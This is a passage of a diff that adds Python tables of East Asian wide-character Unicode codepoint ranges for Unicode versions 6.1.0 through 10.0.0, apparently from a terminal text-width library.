Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0d7b0, 0x0d7c6,), # Hangul Jungseong O-yeo ..Hangul Jungseong Araea-e + (0x0d7cb, 0x0d7fb,), # Hangul Jongseong Nieun-r..Hangul Jongseong Phieuph + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23a,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x20000, 0x2f73f,), # Cjk Unified Ideograph-20..(nil) + (0x2b740, 0x2fffd,), # Cjk Unified Ideograph-2b..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '6.1.0': ( + # Source: EastAsianWidth-6.1.0.txt + # Date: 2011-09-19, 18:46:00 GMT [KW] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x011a3, 0x011a7,), # Hangul Jungseong A-eu ..Hangul Jungseong O-yae + (0x011fa, 0x011ff,), # Hangul Jongseong Kiyeok-..Hangul Jongseong Ssangni + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0d7b0, 0x0d7c6,), # Hangul Jungseong O-yeo ..Hangul Jungseong Araea-e + (0x0d7cb, 0x0d7fb,), # Hangul Jongseong Nieun-r..Hangul Jongseong Phieuph + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23a,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '6.2.0': ( + # Source: EastAsianWidth-6.2.0.txt + # Date: 2012-05-15, 18:30:00 GMT [KW] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23a,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '6.3.0': ( + # Source: EastAsianWidth-6.3.0.txt + # Date: 2013-02-05, 20:09:00 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23a,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '7.0.0': ( + # Source: EastAsianWidth-7.0.0.txt + # Date: 2014-02-28, 23:15:00 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23a,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '8.0.0': ( + # Source: EastAsianWidth-8.0.0.txt + # Date: 2015-02-10, 21:00:00 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23a,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '9.0.0': ( + # Source: EastAsianWidth-9.0.0.txt + # Date: 2016-05-27, 17:00:00 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x0231a, 0x0231b,), # Watch ..Hourglass + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x023e9, 0x023ec,), # Black Right-pointing Dou..Black Down-pointing Doub + (0x023f0, 0x023f0,), # Alarm Clock ..Alarm Clock + (0x023f3, 0x023f3,), # Hourglass With Flowing S..Hourglass With Flowing S + (0x025fd, 0x025fe,), # White Medium Small Squar..Black Medium Small Squar + (0x02614, 0x02615,), # Umbrella With Rain Drops..Hot Beverage + (0x02648, 0x02653,), # Aries ..Pisces + (0x0267f, 0x0267f,), # Wheelchair Symbol ..Wheelchair Symbol + (0x02693, 0x02693,), # Anchor ..Anchor + (0x026a1, 0x026a1,), # High Voltage Sign ..High Voltage Sign + (0x026aa, 0x026ab,), # Medium White Circle ..Medium Black Circle + (0x026bd, 0x026be,), # Soccer Ball ..Baseball + (0x026c4, 0x026c5,), # Snowman Without Snow ..Sun Behind Cloud + (0x026ce, 0x026ce,), # Ophiuchus ..Ophiuchus + (0x026d4, 0x026d4,), # No Entry ..No Entry + (0x026ea, 0x026ea,), # Church ..Church + (0x026f2, 0x026f3,), # Fountain ..Flag In Hole + (0x026f5, 0x026f5,), # Sailboat ..Sailboat + (0x026fa, 0x026fa,), # Tent ..Tent + (0x026fd, 0x026fd,), # Fuel Pump ..Fuel Pump + (0x02705, 0x02705,), # White Heavy Check Mark ..White Heavy Check Mark + (0x0270a, 0x0270b,), # Raised Fist ..Raised Hand + (0x02728, 0x02728,), # Sparkles ..Sparkles + (0x0274c, 0x0274c,), # Cross Mark ..Cross Mark + (0x0274e, 0x0274e,), # Negative Squared Cross M..Negative Squared Cross M + (0x02753, 0x02755,), # Black Question Mark Orna..White Exclamation Mark O + (0x02757, 0x02757,), # Heavy Exclamation Mark S..Heavy Exclamation Mark S + (0x02795, 0x02797,), # Heavy Plus Sign ..Heavy Division Sign + (0x027b0, 0x027b0,), # Curly Loop ..Curly Loop + (0x027bf, 0x027bf,), # Double Curly Loop ..Double Curly Loop + (0x02b1b, 0x02b1c,), # Black Large Square ..White Large Square + (0x02b50, 0x02b50,), # White Medium Star ..White Medium Star + (0x02b55, 0x02b55,), # Heavy Large Circle ..Heavy Large Circle + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312d,), # Bopomofo Letter B ..Bopomofo Letter Ih + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x16fe0, 0x16fe0,), # Tangut Iteration Mark ..Tangut Iteration Mark + (0x17000, 0x187ec,), # (nil) ..(nil) + (0x18800, 0x18af2,), # Tangut Component-001 ..Tangut Component-755 + (0x1b000, 0x1b001,), # Katakana Letter Archaic ..Hiragana Letter Archaic + (0x1f004, 0x1f004,), # Mahjong Tile Red Dragon ..Mahjong Tile Red Dragon + (0x1f0cf, 0x1f0cf,), # Playing Card Black Joker..Playing Card Black Joker + (0x1f18e, 0x1f18e,), # Negative Squared Ab ..Negative Squared Ab + (0x1f191, 0x1f19a,), # Squared Cl ..Squared Vs + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23b,), # Squared Cjk Unified Ideo..Squared Cjk Unified Ideo + (0x1f240, 0x1f248,), # Tortoise Shell Bracketed..Tortoise Shell Bracketed + (0x1f250, 0x1f251,), # Circled Ideograph Advant..Circled Ideograph Accept + (0x1f300, 0x1f320,), # Cyclone ..Shooting Star + (0x1f32d, 0x1f335,), # Hot Dog ..Cactus + (0x1f337, 0x1f37c,), # Tulip ..Baby Bottle + (0x1f37e, 0x1f393,), # Bottle With Popping Cork..Graduation Cap + (0x1f3a0, 0x1f3ca,), # Carousel Horse ..Swimmer + (0x1f3cf, 0x1f3d3,), # Cricket Bat And Ball ..Table Tennis Paddle And + (0x1f3e0, 0x1f3f0,), # House Building ..European Castle + (0x1f3f4, 0x1f3f4,), # Waving Black Flag ..Waving Black Flag + (0x1f3f8, 0x1f43e,), # Badminton Racquet And Sh..Paw Prints + (0x1f440, 0x1f440,), # Eyes ..Eyes + (0x1f442, 0x1f4fc,), # Ear ..Videocassette + (0x1f4ff, 0x1f53d,), # Prayer Beads ..Down-pointing Small Red + (0x1f54b, 0x1f54e,), # Kaaba ..Menorah With Nine Branch + (0x1f550, 0x1f567,), # Clock Face One Oclock ..Clock Face Twelve-thirty + (0x1f57a, 0x1f57a,), # Man Dancing ..Man Dancing + (0x1f595, 0x1f596,), # Reversed Hand With Middl..Raised Hand With Part Be + (0x1f5a4, 0x1f5a4,), # Black Heart ..Black Heart + (0x1f5fb, 0x1f64f,), # Mount Fuji ..Person With Folded Hands + (0x1f680, 0x1f6c5,), # Rocket ..Left Luggage + (0x1f6cc, 0x1f6cc,), # Sleeping Accommodation ..Sleeping Accommodation + (0x1f6d0, 0x1f6d2,), # Place Of Worship ..Shopping Trolley + (0x1f6eb, 0x1f6ec,), # Airplane Departure ..Airplane Arriving + (0x1f6f4, 0x1f6f6,), # Scooter ..Canoe + (0x1f910, 0x1f91e,), # Zipper-mouth Face ..Hand With Index And Midd + (0x1f920, 0x1f927,), # Face With Cowboy Hat ..Sneezing Face + (0x1f930, 0x1f930,), # Pregnant Woman ..Pregnant Woman + (0x1f933, 0x1f93e,), # Selfie ..Handball + (0x1f940, 0x1f94b,), # Wilted Flower ..Martial Arts Uniform + (0x1f950, 0x1f95e,), # Croissant ..Pancakes + (0x1f980, 0x1f991,), # Crab ..Squid + (0x1f9c0, 0x1f9c0,), # Cheese Wedge ..Cheese Wedge + (0x20000, 0x2fffd,), # Cjk Unified Ideograph-20..(nil) + (0x30000, 0x3fffd,), # (nil) ..(nil) + ), + '10.0.0': ( + # Source: EastAsianWidth-10.0.0.txt + # Date: 2017-03-08, 02:00:00 GMT [KW, LI] + # + (0x01100, 0x0115f,), # Hangul Choseong Kiyeok ..Hangul Choseong Filler + (0x0231a, 0x0231b,), # Watch ..Hourglass + (0x02329, 0x0232a,), # Left-pointing Angle Brac..Right-pointing Angle Bra + (0x023e9, 0x023ec,), # Black Right-pointing Dou..Black Down-pointing Doub + (0x023f0, 0x023f0,), # Alarm Clock ..Alarm Clock + (0x023f3, 0x023f3,), # Hourglass With Flowing S..Hourglass With Flowing S + (0x025fd, 0x025fe,), # White Medium Small Squar..Black Medium Small Squar + (0x02614, 0x02615,), # Umbrella With Rain Drops..Hot Beverage + (0x02648, 0x02653,), # Aries ..Pisces + (0x0267f, 0x0267f,), # Wheelchair Symbol ..Wheelchair Symbol + (0x02693, 0x02693,), # Anchor ..Anchor + (0x026a1, 0x026a1,), # High Voltage Sign ..High Voltage Sign + (0x026aa, 0x026ab,), # Medium White Circle ..Medium Black Circle + (0x026bd, 0x026be,), # Soccer Ball ..Baseball + (0x026c4, 0x026c5,), # Snowman Without Snow ..Sun Behind Cloud + (0x026ce, 0x026ce,), # Ophiuchus ..Ophiuchus + (0x026d4, 0x026d4,), # No Entry ..No Entry + (0x026ea, 0x026ea,), # Church ..Church + (0x026f2, 0x026f3,), # Fountain ..Flag In Hole + (0x026f5, 0x026f5,), # Sailboat ..Sailboat + (0x026fa, 0x026fa,), # Tent ..Tent + (0x026fd, 0x026fd,), # Fuel Pump ..Fuel Pump + (0x02705, 0x02705,), # White Heavy Check Mark ..White Heavy Check Mark + (0x0270a, 0x0270b,), # Raised Fist ..Raised Hand + (0x02728, 0x02728,), # Sparkles ..Sparkles + (0x0274c, 0x0274c,), # Cross Mark ..Cross Mark + (0x0274e, 0x0274e,), # Negative Squared Cross M..Negative Squared Cross M + (0x02753, 0x02755,), # Black Question Mark Orna..White Exclamation Mark O + (0x02757, 0x02757,), # Heavy Exclamation Mark S..Heavy Exclamation Mark S + (0x02795, 0x02797,), # Heavy Plus Sign ..Heavy Division Sign + (0x027b0, 0x027b0,), # Curly Loop ..Curly Loop + (0x027bf, 0x027bf,), # Double Curly Loop ..Double Curly Loop + (0x02b1b, 0x02b1c,), # Black Large Square ..White Large Square + (0x02b50, 0x02b50,), # White Medium Star ..White Medium Star + (0x02b55, 0x02b55,), # Heavy Large Circle ..Heavy Large Circle + (0x02e80, 0x02e99,), # Cjk Radical Repeat ..Cjk Radical Rap + (0x02e9b, 0x02ef3,), # Cjk Radical Choke ..Cjk Radical C-simplified + (0x02f00, 0x02fd5,), # Kangxi Radical One ..Kangxi Radical Flute + (0x02ff0, 0x02ffb,), # Ideographic Description ..Ideographic Description + (0x03000, 0x0303e,), # Ideographic Space ..Ideographic Variation In + (0x03041, 0x03096,), # Hiragana Letter Small A ..Hiragana Letter Small Ke + (0x03099, 0x030ff,), # Combining Katakana-hirag..Katakana Digraph Koto + (0x03105, 0x0312e,), # Bopomofo Letter B ..Bopomofo Letter O With D + (0x03131, 0x0318e,), # Hangul Letter Kiyeok ..Hangul Letter Araeae + (0x03190, 0x031ba,), # Ideographic Annotation L..Bopomofo Letter Zy + (0x031c0, 0x031e3,), # Cjk Stroke T ..Cjk Stroke Q + (0x031f0, 0x0321e,), # Katakana Letter Small Ku..Parenthesized Korean Cha + (0x03220, 0x03247,), # Parenthesized Ideograph ..Circled Ideograph Koto + (0x03250, 0x032fe,), # Partnership Sign ..Circled Katakana Wo + (0x03300, 0x04dbf,), # Square Apaato ..(nil) + (0x04e00, 0x0a48c,), # Cjk Unified Ideograph-4e..Yi Syllable Yyr + (0x0a490, 0x0a4c6,), # Yi Radical Qot ..Yi Radical Ke + (0x0a960, 0x0a97c,), # Hangul Choseong Tikeut-m..Hangul Choseong Ssangyeo + (0x0ac00, 0x0d7a3,), # Hangul Syllable Ga ..Hangul Syllable Hih + (0x0f900, 0x0faff,), # Cjk Compatibility Ideogr..(nil) + (0x0fe10, 0x0fe19,), # Presentation Form For Ve..Presentation Form For Ve + (0x0fe30, 0x0fe52,), # Presentation Form For Ve..Small Full Stop + (0x0fe54, 0x0fe66,), # Small Semicolon ..Small Equals Sign + (0x0fe68, 0x0fe6b,), # Small Reverse Solidus ..Small Commercial At + (0x0ff01, 0x0ff60,), # Fullwidth Exclamation Ma..Fullwidth Right White Pa + (0x0ffe0, 0x0ffe6,), # Fullwidth Cent Sign ..Fullwidth Won Sign + (0x16fe0, 0x16fe1,), # Tangut Iteration Mark ..Nushu Iteration Mark + (0x17000, 0x187ec,), # (nil) ..(nil) + (0x18800, 0x18af2,), # Tangut Component-001 ..Tangut Component-755 + (0x1b000, 0x1b11e,), # Katakana Letter Archaic ..Hentaigana Letter N-mu-m + (0x1b170, 0x1b2fb,), # Nushu Character-1b170 ..Nushu Character-1b2fb + (0x1f004, 0x1f004,), # Mahjong Tile Red Dragon ..Mahjong Tile Red Dragon + (0x1f0cf, 0x1f0cf,), # Playing Card Black Joker..Playing Card Black Joker + (0x1f18e, 0x1f18e,), # Negative Squared Ab ..Negative Squared Ab + (0x1f191, 0x1f19a,), # Squared Cl ..Squared Vs + (0x1f200, 0x1f202,), # Square Hiragana Hoka ..Squared Katakana Sa + (0x1f210, 0x1f23b,), # Squared 